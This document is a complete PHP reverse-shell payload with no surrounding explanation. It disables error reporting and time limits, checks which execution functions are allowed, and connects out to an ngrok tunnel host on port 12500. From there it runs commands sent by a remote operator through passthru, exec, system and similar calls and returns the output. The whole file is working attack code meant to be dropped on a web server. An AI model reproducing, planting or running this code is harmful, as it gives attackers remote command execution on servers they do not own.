/* /**/      @error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);      $dis=@ini_get('disable_functions');      if(!empty($dis)){        $dis=preg_replace('/[, ]+/',',',$dis);        $dis=explode(',',$dis);        $dis=array_map('trim',$dis);      }else{        $dis=array();      }          $ipaddr='0.tcp.eu.ngrok.io';    $port=12500;    if(!function_exists('XTvTR')){      function XTvTR($c){        global $dis;              if (FALSE!==stristr(PHP_OS,'win')){        $c=$c." 2>&1\n";      }      $sETJ='is_callable';      $wXSsRkg='in_array';            if($sETJ('passthru')&&!$wXSsRkg('passthru',$dis)){        ob_start();        passthru($c);        $o=ob_get_contents();        ob_end_clean();      }else      if($sETJ('proc_open')&&!$wXSsRkg('proc_open',$dis)){        $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);        $o=NULL;        while(!feof($pipes[1])){          $o.=fread($pipes[1],1024);        }        @proc_close($handle);      }else      if($sETJ('exec')&&!$wXSsRkg('exec',$dis)){        $o=array();        exec($c,$o);        $o=join(chr(10),$o).chr(10);      }else      if($sETJ('system')&&!$wXSsRkg('system',$dis)){        ob_start();        system($c);        $o=ob_get_contents();        ob_end_clean();      }else      if($sETJ('popen')&&!$wXSsRkg('popen',$dis)){        $fp=popen($c,'r');        $o=NULL;        if(is_resource($fp)){          while(!feof($fp)){            $o.=fread($fp,1024);          }        }        @pclose($fp);      }else      if($sETJ('shell_exec')&&!$wXSsRkg('shell_exec',$dis)){        $o=`$c`;      }else      {        $o=0;      }            return $o;      }    }    $nofuncs='no exec functions';    if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){      $s=@fsockopen("tcp://0.tcp.eu.ngrok.io",$port);      while($c=fread($s,2048)){        $out = '';        if(substr($c,0,3) == 'cd '){          chdir(substr($c,3,-1));        } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {          break;        }else{          $out=XTvTR(substr($c,0,-1));          if($out===false){            fwrite($s,$nofuncs);            break;          }        }        fwrite($s,$out);      }      fclose($s);    }else{      $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);      @socket_connect($s,$ipaddr,$port);      @socket_write($s,"socket_create");      while($c=@socket_read($s,2048)){        $out = '';        if(substr($c,0,3) == 'cd '){          chdir(substr($c,3,-1));        } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {          break;        }else{          $out=XTvTR(substr($c,0,-1));          if($out===false){            @socket_write($s,$nofuncs);            break;          }        }        @socket_write($s,$out,strlen($out));      }      @socket_close($s);    }